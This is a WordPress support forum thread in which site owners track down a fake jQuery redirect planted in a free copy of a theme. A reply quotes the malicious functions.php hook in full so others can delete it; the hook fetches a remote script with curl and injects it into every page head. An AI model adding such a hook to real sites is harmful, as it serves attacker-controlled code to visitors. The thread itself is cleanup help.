Title: Unwanted Jquery (jquerys) script Last modified: August 20, 2016 --- # Unwanted Jquery (jquerys) script * Resolved [Felipe](https://wordpress.org/support/users/felipemaciel/) * (@felipemaciel) * [13 years, 8 months ago](https://wordpress.org/support/topic/unwanted-jquery-script/) * In a brief look at source code from my site I found a line calling for an unwanted script (again [http://www.jquerys.org/ajax/libs/jquery/jquery-1.6.3.min.js](http://www.jquerys.org/ajax/libs/jquery/jquery-1.6.3.min.js)). This script redirects to another site ([http://www.downloadmusicfreenow.com](http://www.downloadmusicfreenow.com)). Days ago was reported same problem with the “jquerys” (not genuine “jquery”) in [http://blog.sucuri.net/2012/07/fake-jquery-website-serving-redirection-malware.html](http://blog.sucuri.net/2012/07/fake-jquery-website-serving-redirection-malware.html). * ** My site is [http://professormarquinhos.com.br](http://professormarquinhos.com.br) Viewing 15 replies - 1 through 15 (of 54 total) 1 [2](https://wordpress.org/support/topic/unwanted-jquery-script/page/2/?output_format=md) [3](https://wordpress.org/support/topic/unwanted-jquery-script/page/3/?output_format=md) [4](https://wordpress.org/support/topic/unwanted-jquery-script/page/4/?output_format=md) [→](https://wordpress.org/support/topic/unwanted-jquery-script/page/2/?output_format=md) * [Sugar Apple](https://wordpress.org/support/users/blacklizt/) * (@blacklizt) * [13 years, 8 months ago](https://wordpress.org/support/topic/unwanted-jquery-script/#post-2936202) * few days ago, some one also got this issue. * 1. it could be from plugins 2. or your theme 3. or the worst, got hacked. * How to analyze ? 1. Disable all plugins, still get the issue ? 2. Use default theme, like twentyeleven. Stil get this again ? 3. Re-install your wordpress ( via your wp-admin area, update section) or replace all wordpress core files via FTP or cpanel. 4. Still get this ? let me think first… Check your files one-by- one. * Don’t forget to change your wordpress admin password (all accounts with admin role) also change your host cpanel password (cpanel, ftp,.. all of them). * Thread Starter [Felipe](https://wordpress.org/support/users/felipemaciel/) * (@felipemaciel) * [13 years, 8 months ago](https://wordpress.org/support/topic/unwanted-jquery-script/#post-2936260) * I found the malicious call line in the “functions.php” theme. * `include'include/plugin/post.php'; // post function` * and content of the supposed “post.php” is: * `` * [lesterwagner](https://wordpress.org/support/users/lesterwagner/) * (@lesterwagner) * [13 years, 8 months ago](https://wordpress.org/support/topic/unwanted-jquery-script/#post-2936261) * hey man, I’m so happy to find your post! I have the exact same problem! I see yours is fixed! How did you do it? how?? I found the “functions.php” file…? * Please help me? Thanks 🙂 * Thread Starter [Felipe](https://wordpress.org/support/users/felipemaciel/) * (@felipemaciel) * [13 years, 8 months ago](https://wordpress.org/support/topic/unwanted-jquery-script/#post-2936262) * What is your theme? What is your site? * [lesterwagner](https://wordpress.org/support/users/lesterwagner/) * (@lesterwagner) * [13 years, 8 months ago](https://wordpress.org/support/topic/unwanted-jquery-script/#post-2936263) * I think its the same theme that you are using.. Its blank and empty at the moment: * This is the address: [](http://www.cnets.co.za) * [lesterwagner](https://wordpress.org/support/users/lesterwagner/) * (@lesterwagner) * [13 years, 8 months ago](https://wordpress.org/support/topic/unwanted-jquery-script/#post-2936264) * [http://www.cnets.co.za](http://www.cnets.co.za) * Thread Starter [Felipe](https://wordpress.org/support/users/felipemaciel/) * (@felipemaciel) * [13 years, 8 months ago](https://wordpress.org/support/topic/unwanted-jquery-script/#post-2936265) * You would find the malicious code in that file “modernize/include/plugin/post. php” * I replaced the contents of that post.php file by a empty php: * ``` ``` * (don’t exclude the file, just change the content) * [lesterwagner](https://wordpress.org/support/users/lesterwagner/) * (@lesterwagner) * [13 years, 8 months ago](https://wordpress.org/support/topic/unwanted-jquery-script/#post-2936266) * Hey man I wanna thank you SOOOO much I didn’t know where to look anymore! Really appreciate the help you gave me!! Why did this happen all of a sudden ? Where did it come from? How did you find it? There so much code? * Thread Starter [Felipe](https://wordpress.org/support/users/felipemaciel/) * (@felipemaciel) * [13 years, 8 months ago](https://wordpress.org/support/topic/unwanted-jquery-script/#post-2936267) * This script was previously inserted by the person who posted (for free) this theme. (Not by the creator of the theme, which sells its theme). * [nrichardson](https://wordpress.org/support/users/nrichardson/) * (@nrichardson) * [13 years, 8 months ago](https://wordpress.org/support/topic/unwanted-jquery-script/#post-2936268) * Think you could take a look at my site? I am having the exact same problem! That would be great! * [http://www.skibrule.hostzi.com](http://www.skibrule.hostzi.com) * [lesterwagner](https://wordpress.org/support/users/lesterwagner/) * (@lesterwagner) * [13 years, 8 months ago](https://wordpress.org/support/topic/unwanted-jquery-script/#post-2936269) * Thanks again! * Thread Starter [Felipe](https://wordpress.org/support/users/felipemaciel/) * (@felipemaciel) * [13 years, 8 months ago](https://wordpress.org/support/topic/unwanted-jquery-script/#post-2936270) * [@nrichardson](https://wordpress.org/support/users/nrichardson/) * In the theme folder, locate the “functions.php” and delete the follow lines ( 24-26) * ``` if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');} if(!defined('WP_THEME_URL')) { define( 'WP_THEME_URL', get_template_directory_uri()); } ``` * [nrichardson](https://wordpress.org/support/users/nrichardson/) * (@nrichardson) * [13 years, 8 months ago](https://wordpress.org/support/topic/unwanted-jquery-script/#post-2936271) * OMG! Thank you so much!! * Thread Starter [Felipe](https://wordpress.org/support/users/felipemaciel/) * (@felipemaciel) * [13 years, 8 months ago](https://wordpress.org/support/topic/unwanted-jquery-script/#post-2936272) * You’re welcome. * [watesam](https://wordpress.org/support/users/watesam/) * (@watesam) * [13 years, 8 months ago](https://wordpress.org/support/topic/unwanted-jquery-script/#post-2936281) * Hola felipe tengo el mismo problema pero no encuentro el código que me muestras ayuda please que no se donde buscar. * [http://cultmoviez.info/](http://cultmoviez.info/) Viewing 15 replies - 1 through 15 (of 54 total) 1 [2](https://wordpress.org/support/topic/unwanted-jquery-script/page/2/?output_format=md) [3](https://wordpress.org/support/topic/unwanted-jquery-script/page/3/?output_format=md) [4](https://wordpress.org/support/topic/unwanted-jquery-script/page/4/?output_format=md) [→](https://wordpress.org/support/topic/unwanted-jquery-script/page/2/?output_format=md) The topic ‘Unwanted Jquery (jquerys) script’ is closed to new replies. ## Tags * [redirect](https://wordpress.org/support/topic-tag/redirect/) * [script](https://wordpress.org/support/topic-tag/script/) * [unwanted](https://wordpress.org/support/topic-tag/unwanted/) * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/) * 54 replies * 24 participants * Last reply from: [esmi](https://wordpress.org/support/users/esmi/) * Last activity: [13 years, 4 months ago](https://wordpress.org/support/topic/unwanted-jquery-script/page/4/#post-2936431) * Status: resolved ## Topics ### Topics with no replies ### Non-support topics ### Resolved topics ### Unresolved topics ### All topics